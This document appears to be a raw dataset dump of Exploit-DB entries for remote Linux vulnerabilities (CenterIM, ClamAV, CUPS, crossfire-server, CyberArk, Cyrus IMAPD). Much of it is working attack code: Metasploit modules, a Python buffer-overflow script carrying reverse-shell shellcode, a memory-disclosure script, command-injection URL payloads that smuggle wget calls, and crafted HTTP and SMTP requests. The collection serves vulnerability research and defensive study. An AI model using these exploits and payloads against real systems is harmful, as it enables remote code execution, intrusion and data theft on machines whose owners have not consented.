deardaniel/secdata-raw huggingface dataset:
Exploit-DB #5283
Description: CenterIM 4.22.3 - Remote Command Execution
Type: remote
Platform: linux
Date: 2008-03-20
Author: Brian Fonfara

Exploit:
#######################################################################

Application:  CenterIM
              http://www.centerim.org/index.php/Main_Page
Versions:     centerim <= 4.22.3
OS:           Linux
Bug:          Execution of shell commands
Exploit:      remote
Date:         15 March 2008
Author:       Brian Fonfara (w00)
   eMail:    brian.fonfara@gmx.de
   Web:       newb.kicks-ass.net


#######################################################################

1) Bug
2) Exploit


#######################################################################

=======
1) Bug
=======

Received URLs in the message window do not get checked for illegal
characters, like "\'", "\"", ";", "$", "{", "}", "&&" and "||"

#######################################################################

===========
2) Exploit
===========

Standard settings:
- Browser already open:
http://gidf.de/centerim)';cd$IFS$HOME/Desktop;wget${IFS}http://google.de;'(

- New browser instance:
http://gidf.de/centerim"&cd$IFS$HOME/Desktop;wget${IFS}http://google.de"

#######################################################################

Greets to: mrks

# milw0rm.com [2008-03-20]
Exploit-DB #24848
Description: ChBg 1.5 - Scenario File Overflow
Type: remote
Platform: linux
Date: 2004-12-15
Author: Danny Lungstrom

Exploit:
source: https://www.securityfocus.com/bid/11957/info

ChBg is reported prone to a remote buffer overflow vulnerability. This issue arises because the application fails to carry out proper boundary checks before copying user-supplied data in to sensitive process buffers. It is reported that this issue can allow an attacker to gain superuser privileges on a vulnerable computer.

An attacker can exploit this issue by crafting a malicious scenario file. A scenario is a file containing a list of pictures to display.

If a user obtains this file and processes it through ChBg, the attacker-supplied instructions may be executed on the vulnerable computer.

ChBg 1.5 is reported prone to this vulnerability. It is likely that other versions are affected as well.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24848.zip
Exploit-DB #30291
Description: ClamAV / UnRAR - .RAR Handling Remote Null Pointer Dereference
Type: remote
Platform: linux
Date: 2007-07-11
Author: Metaeye Security Group

Exploit:
source: https://www.securityfocus.com/bid/24866/info

Multiple applications using RAR are prone to a NULL-pointer dereference vulnerability.

A successful attack will result in denial-of-service conditions. Attackers may also be able to exploit this issue to execute arbitrary code, but this has not been confirmed.

This issue affects the following:

ClamAV prior to 0.91
'UnRAR' 3.70; other versions may also be vulnerable.

Other applications using the vulnerabile 'UnRAR' utility are affected by this issue. We will update this BID as more information emerges. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30291.rar
Exploit-DB #16924
Description: ClamAV Milter - Blackhole-Mode Remote Code Execution (Metasploit)
Type: remote
Platform: linux
Date: 2010-10-09
Author: Metasploit

Exploit:
##
# $Id: clamav_milter_blackhole.rb 10617 2010-10-09 06:55:52Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Smtp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'ClamAV Milter Blackhole-Mode Remote Code Execution',
			'Description'    => %q{
					This module exploits a flaw in the Clam AntiVirus suite 'clamav-milter'
				(Sendmail mail filter). Versions prior to v0.92.2 are vulnerable.
				When implemented with black hole mode enabled, it is possible to execute
				commands remotely due to an insecure popen call.
			},
			'Author'         => [ 'patrick' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10617 $',
			'References'     =>
				[
					[ 'CVE', '2007-4560' ],
					[ 'OSVDB', '36909' ],
					[ 'BID', '25439' ],
					[ 'URL', 'http://www.milw0rm.com/exploits/4761' ],
				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'       => 1024,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl ruby bash telnet',
						}
				},
			'Platform'       => 'unix',
			'Arch'           => ARCH_CMD,
			'Targets'        =>
				[
					[ 'Automatic', { }],
				],
			'DisclosureDate' => 'Aug 24 2007',
			'DefaultTarget'  => 0))

			register_options(
			[
				OptString.new('MAILTO', [ true, 'TO address of the e-mail', 'nobody@localhost']),
			], self.class)
	end

	def exploit

		# ClamAV writes randomized msg.###### temporary files in a randomized
		# /tmp/clamav-#######################/ directory. This directory is
		# the clamav-milter process working directory.
		#
		# We *can* execute arbitrary code directly from 'sploit', however the
		# SMTP RFC rejects all payloads with the exception of generic CMD
		# payloads due to the IO redirects. I discovered that the 'From:'
		# header is written to this temporary file prior to the vulnerable
		# call, so we call the file itself and payload.encoded is executed.

		sploit = "sh msg*" # Execute the clamav-milter temporary file.

		# Create the malicious RCPT TO before connecting,
		# to make good use of the Msf::Exploit::Smtp support.

		oldaddr = datastore['MAILTO']
		newaddr = oldaddr.split('@')

		datastore['MAILTO'] = "<#{newaddr[0]}+\"|#{sploit}\"@#{newaddr[1]}>"

		connect_login

		sock.put("From: ;#{payload.encoded}\r\n") # We are able to stick our payload in this header
		sock.put(".\r\n")

		# Clean up RCPT TO afterwards

		datastore['MAILTO'] = oldaddr

		handler
		disconnect
	end

end
Exploit-DB #20994
Description: Cobalt Raq3 PopRelayD - Arbitrary SMTP Relay
Type: remote
Platform: linux
Date: 2001-07-04
Author: Andrea Barisani

Exploit:
source: https://www.securityfocus.com/bid/2986/info

poprelayd is a script that parses /var/log/maillog for valid pop logins, and based upon the login of a client, allows the person logged into the pop3 service to also send email from the ip address they're accessing the system with.

poprelayd doesn't authenticate output to the /var/log/maillog file. This makes it possible for a user to create an arbitrary string via sendmail that will be logged to the file, thus allowing a remote user to relay mail through the SMTP server. 

telnet dumbcobalt 25
Trying 123.123.123.123...
Connected to dumbcobalt
...
ehlo dumbcobalt
...
mail from:"POP login by user "admin" at (66.66.66.66) 66.66.66.66
@linux.org"
553 "POP login by user "admin" at (66.66.66.66) 66.66.66.66
@linux.org"...Domain name required
Exploit-DB #33032
Description: Compress::Raw::Zlib Perl Module - Remote Code Execution
Type: remote
Platform: linux
Date: 2009-05-11
Author: Leo Bergolth

Exploit:
source: https://www.securityfocus.com/bid/35307/info


The 'Compress::Raw::Zlib' Perl module is prone to a remote code-execution vulnerability.

Successful exploits may allow remote attackers to execute arbitrary code or cause denial-of-service conditions in applications that use the vulnerable module.

Versions prior to 'Compress::Raw::Zlib' 2.017 are affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/33032.tar.gz
Exploit-DB #20105
Description: Conectiva 4.x/5.x / RedHat 6.x - pam_console Remote User
Type: remote
Platform: linux
Date: 2000-07-27
Author: bkw1a

Exploit:
source: https://www.securityfocus.com/bid/1513/info

There is a vulnerability in the Linux pam_console module that could allow an attacker to remotely reboot the workstation or perform other actions limited to local users.
If a workstation is configured to use a display manager (xdm, gdm, kdm, etc.) AND has XDMCP enabled, it is possible for a user who logs in remotely to use Xnest -query to log in on display :1, which is recognized as the system console. This vulnerability is only present if the workstation is running a graphical login manager such as gdm or kdm. 


This description of how to replicate the problem was posted to RedHat's Bugzilla bug-tracking system by bkw1a@virginia.edu:
1. ssh into the server, allowing ssh to establish a secure forwarded X connection. If no one else is using display number 0, you'll end up with a DISPLAY value of "host:0.0".
2. Invoke "Xnest -query localhost" on the remote machine.
3. Log in, starting a Gnome session.
4. From the Gnome panel, select "logout". You'll be presented with the option of shutting down or rebooting the server.

Another description, this one from Andreas Hasenack <andreas@conectiva.com.br>:
1. login remotely (X -broadcast) (have gdm, kdm, whatever running with XDMCP enabled somewhere)
2. after login, start Xnest with -broadcast again, for example
3. login again, now you will be using display :1
4. this is treated as a console user, and commands only available to console users can be run, such as reboot.
Exploit-DB #50216
Description: crossfire-server 1.9.0 - 'SetUp()' Remote Buffer Overflow
Type: remote
Platform: linux
Date: 2021-08-18
Author: Khaled Salem

Exploit:
# Exploit Title: crossfire-server 1.9.0 - 'SetUp()' Remote Buffer Overflow
# Exploit Author: Khaled Salem @Khaled0x07
# Software Link: https://www.exploit-db.com/apps/43240af83a4414d2dcc19fff3af31a63-crossfire-1.9.0.tar.gz
# Version: 1.9.0
# Tested on: Kali Linux 2020.4
# CVE : CVE-2006-1236

#!/bin/python
import socket
import time


# Crash at 4379
# EIP Offset at 4368
# Badchar \x00\x20
# ECX Size 170
# CALL ECX 0x080640eb

size = 4379

# Attacker IP: 127.0.0.1 Port: 443
shellcode =  b""
shellcode += b"\xd9\xee\xd9\x74\x24\xf4\xb8\x60\x61\x5f\x28"
shellcode += b"\x5b\x33\xc9\xb1\x12\x31\x43\x17\x03\x43\x17"
shellcode += b"\x83\xa3\x65\xbd\xdd\x12\xbd\xb6\xfd\x07\x02"
shellcode += b"\x6a\x68\xa5\x0d\x6d\xdc\xcf\xc0\xee\x8e\x56"
shellcode += b"\x6b\xd1\x7d\xe8\xc2\x57\x87\x80\xab\xa7\x77"
shellcode += b"\x51\x3c\xaa\x77\x50\x07\x23\x96\xe2\x11\x64"
shellcode += b"\x08\x51\x6d\x87\x23\xb4\x5c\x08\x61\x5e\x31"
shellcode += b"\x26\xf5\xf6\xa5\x17\xd6\x64\x5f\xe1\xcb\x3a"
shellcode += b"\xcc\x78\xea\x0a\xf9\xb7\x6d"




try:
	filler = "\x90"*(4368 - 170) + shellcode+"\x90"*(170-len(shellcode))
	EIP = "\xeb\x40\x06\x08" 
	padding = "C" * (4379 - len(filler) - len(EIP))
	payload = filler + EIP + padding
	inputBuffer = "\x11(setup sound "+ payload +"\x90\x00#"
	print("Sending Buffer with size:" + str(len(payload)))
	s = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
	s.connect(("192.168.1.4",13327)) # Server IP Address: 192.168.1.4
	print(s.recv(1024))

	s.send(inputBuffer)
	s.close()

except:
	print("Could not connect")
	exit(0)
Exploit-DB #24977
Description: CUPS 1.1.x - '.HPGL' File Processor Buffer Overflow
Type: remote
Platform: linux
Date: 2004-12-15
Author: Ariel Berkman

Exploit:
source: https://www.securityfocus.com/bid/11968/info

CUPS is reported prone to a remote buffer overflow vulnerability. The issue is reported to exist in the 'hpgl-input.c' source file and is because of a lack of sufficient boundary checks performed on data contained in HPGL files.

A remote attacker may exploit this condition to execute arbitrary code in the context of the vulnerable CUPS daemon. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24977.gz




Ariel Berkman, a student in my Fall 2004 UNIX Security Holes course, has
discovered a remotely exploitable security hole in CUPS. I'm publishing
this notice, but all the discovery credits should be assigned to
Berkman.

A CUPS installation is at risk whenever it prints an HPGL file obtained
from email (or a web page or any other source that could be controlled
by an attacker). You are at risk if you print data through a CUPS
installation at risk. The source of the HPGL file has complete control
over the CUPS ``lp'' account; in particular, he can read and modify the
files you are printing.

Proof of concept: On an x86 computer running FreeBSD 4.10, as root, type

   cd /usr/ports/print/cups
   make install

to download and compile the CUPS package, version 1.1.22 (current).
Then, as any user, save the file 21.hpgl.gz attached to this message,
and type

   gunzip 21.hpgl
   /usr/local/libexec/cups/filter/hpgltops \
   15 $USER test-title 1 none 21.hpgl > 21.ps

with the unauthorized result that a file named x is removed from the
current directory. (I tested this with a 541-byte environment, as
reported by printenv | wc -c.)

Here's the bug: In hpgl-input.c, ParseCommand() reads any number of
bytes into a 262144-byte buf[] array.

---D. J. Bernstein, Associate Professor, Department of Mathematics,
Statistics, and Computer Science, University of Illinois at Chicago
Source: http://securesoftware.list.cr.yp.to/archive/0/25
Exploit-DB #22106
Description: CUPS 1.1.x - Negative Length HTTP Header
Type: remote
Platform: linux
Date: 2002-12-19
Author: iDefense

Exploit:
source: https://www.securityfocus.com/bid/6437/info

A vulnerability has been reported for CUPS that if exploited may result in a DoS or the execute of code on affected systems.

An attacker can exploit this vulnerability by connecting to a vulnerable system and issuing malformed HTTP headers with a negative value for some fields. When the cupsd service receives this request, it will crash.

This vulnerability is very similar to the issue described in BID 5033. It may be very likely that this vulnerability may be exploited to execute malicious attacker-supplied code on BSD, and possibly other, platforms.

*** January 05, 2003

There are reports of this vulnerability being actively exploited in the wild. Vulnerable users are advised to update immediately.

$ nc -v localhost 631
localhost [127.0.0.1] 631 (?) open
POST /printers HTTP/1.1
Host: localhost
Authorization: Basic AAA
Content-Length: -1

$ nc -v localhost 631
localhost [127.0.0.1] 631 (?) open
POST /printers HTTP/1.1
Host: localhost
Authorization: Basic AAA
Transfer-Encoding: chunked

- - - - -FFFFFFFE
Exploit-DB #34152
Description: CUPS 1.4.2 - Web Interface Information Disclosure
Type: remote
Platform: linux
Date: 2010-06-15
Author: Luca Carettoni

Exploit:
source: https://www.securityfocus.com/bid/40897/info

CUPS is prone to a remote information-disclosure vulnerability. This issue affects the CUPS web interface component.

Remote attackers can exploit this issue to obtain sensitive information that may lead to further attacks.

NOTE: This issue was previously covered in BID 40871 (Apple Mac OS X Prior to 10.6.4 Multiple Security Vulnerabilities), but has been given its own record to better document it. 

http://www.example.com:631/admin?URL=/admin/&OP=%
Exploit-DB #32834
Description: cURL/libcURL 7.19.3 - HTTP 'Location:' Redirect Security Bypass
Type: remote
Platform: linux
Date: 2009-03-03
Author: David Kierznowski

Exploit:
source: https://www.securityfocus.com/bid/33962/info

cURL/libcURL is prone to a security-bypass vulnerability.

Remote attackers can exploit this issue to bypass certain security restrictions and carry out various attacks.

This issue affects cURL/libcURL 5.11 through 7.19.3. Other versions may also be vulnerable.

The following example redirection request may be used to carry out this attack:
Location: scp://name:passwd@host/a'``;date >/tmp/test``;'
Exploit-DB #22187
Description: CVS 1.11.x - Directory Request Double-Free Heap Corruption
Type: remote
Platform: linux
Date: 2003-01-20
Author: Stefan Esser

Exploit:
source: https://www.securityfocus.com/bid/6650/info

CVS is prone to a double free vulnerability in the Directory requests. An attacker may potentially take advantage of this issue to cause heap memory to be corrupted with attacker-supplied values, which may result in execution of arbitrary code.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22187.tar.gz
Exploit-DB #44829
Description: CyberArk < 10 - Memory Disclosure
Type: remote
Platform: linux
Date: 2018-06-04
Author: Thomas Zuk

Exploit:
# Exploit Title: CyberArk < 10 - Memory Disclosure
# Date: 2018-06-04
# Exploit Author: Thomas Zuk
# Vendor Homepage: https://www.cyberark.com/products/privileged-account-security-solution/enterprise-password-vault/
# Version: < 9.7 and < 10
# Tested on: Windows 2008, Windows 2012, Windows 7, Windows 8, Windows 10
# CVE: CVE-2018-9842

# Linux cmd line manual test: cat logon.bin | nc -vv IP 1858 | xxd
# paste the following bytes into a hexedited file named logon.bin:
#fffffffff7000000ffffffff3d[PII_REDACTED]636c[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]202020ffffffff[PII_REDACTED][PII_REDACTED]73000000cececece[PII_REDACTED][PII_REDACTED][PII_REDACTED]00303d4c6f676f6efd3131353d372e32302e39302e3238fd36393d50fd3131363d30fd3130303dfd3231373d59fd3231383d5041434c49fd3231393dfd3331373d30fd3335373d30fd32323d5061636c[PII_REDACTED][PII_REDACTED]72fd3336373d3330fd0000


#!/usr/bin/python

import socket
import os
import sys

ip = "10.107.32.21"
port = 1858

# Cyber Ark port 1858 is a proprietary software and protocol to perform login and administrative services.
# The below is a sample login request that is needed to receive the memory

pacli_logon = "\xff\xff\xff\xff\xf7\x00\x00\x00\xff\xff\xff\xff\x3d\x01\x00\x00\x50\x61\x63\x6c\x69\x53\x63\x72\x69\x70\x74\x55\x73\x65\x72\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x20\x20\x20\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x73\x00\x00\x00\xce\xce\xce\xce\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x30\x3d\x4c\x6f\x67\x6f\x6e\xfd\x31\x31\x35\x3d\x37\x2e\x32\x30\x2e\x39\x30\x2e\x32\x38\xfd\x36\x39\x3d\x50\xfd\x31\x31\x36\x3d\x30\xfd\x31\x30\x30\x3d\xfd\x32\x31\x37\x3d\x59\xfd\x32\x31\x38\x3d\x50\x41\x43\x4c\x49\xfd\x32\x31\x39\x3d\xfd\x33\x31\x37\x3d\x30\xfd\x33\x35\x37\x3d\x30\xfd\x32\x32\x3d\x50\x61\x63\x6c\x69\x53\x63\x72\x69\x70\x74\x55\x73\x65\x72\xfd\x33\x36\x37\x3d\x33\x30\xfd\x00\x00"


for iteration in range(0, 110):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, port))
    s.send(pacli_logon)

    # recieve response
    s.recv(200)
    reply = s.recv(1500)

    # write responses to file
    file = open("cyberark_memory", "a")

    file.write("received: \n")
    file.write(reply)
    file.write("\n\n\n")
    file.close()

    s.close()
Exploit-DB #16836
Description: Cyrus IMAPD - pop3d popsubfolders USER Buffer Overflow (Metasploit)
Type: remote
Platform: linux
Date: 2010-04-30
Author: Metasploit

Exploit:
##
# $Id: cyrus_pop3d_popsubfolders.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Cyrus IMAPD pop3d popsubfolders USER Buffer Overflow',
			'Description'    => %q{
					This exploit takes advantage of a stack based overflow.  Once the stack
				corruption has occured it is possible to overwrite a pointer which is
				later used for a memcpy. This gives us a write anything anywhere condition
				similar to a format string vulnerability.

				NOTE: The popsubfolders option is a non-default setting.

				I chose to overwrite the GOT with my shellcode and return to it. This
				defeats the VA random patch and possibly other stack protection features.

				Tested on gentoo-sources Linux 2.6.16. Although Fedora CORE 5 ships with
				a version containing the vulnerable code, it is not exploitable due to the
				use of the FORTIFY_SOURCE compiler enhancement
			},
			'Author'         => [ 'bannedit', 'jduck' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					[ 'CVE', '2006-2502' ],
					[ 'OSVDB', '25853' ],
					[ 'BID', '18056' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/2053' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/2185' ],
					[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2006-05/0527.html' ],
				],
			'Payload'	=>
				{
					'Space'	=> 250,
					'DisableNops' => true,
				},
			'Platform'	=> 'linux',
			'Targets'	=>
				[
					# bannedit: 0x080fd204
					# K-sPecial: 0x8106c20 (debian 3.1 - 2.6.16-rc6)
					[ 'Gentoo 2006.0 Linux 2.6', { 'Ret' => 0x080fd318 } ],
				],
			'Privileged'		=> true,
			'DisclosureDate'	=> 'May 21 2006',
			'DefaultTarget'	=> 0))

		register_options( [ Opt::RPORT(110) ], self.class )
	end



	def exploit

		connect

		print_status "Banner: #{banner = sock.gets}"

		# NOTE: orig poc shellcode len: 84

		# kcope: 352+84+86+4 (nops,sc,nops,ret)
		# K-sPecial: 84+(120*4) (sc,addrs)
		# bannedit: 265+8+250+29+16
		shellcode = payload.encoded

		buf = "USER "
		buf << make_nops(265)
		# return address
		buf << [target.ret].pack('V') * 2
		buf << make_nops(250 - shellcode.length)
		buf << shellcode
		buf << make_nops(29)
		sc_addr = target.ret - 277
		buf << [sc_addr].pack('V') * 4
		buf << "\r\n"

		sock.send(buf, 0)
		disconnect

	end

end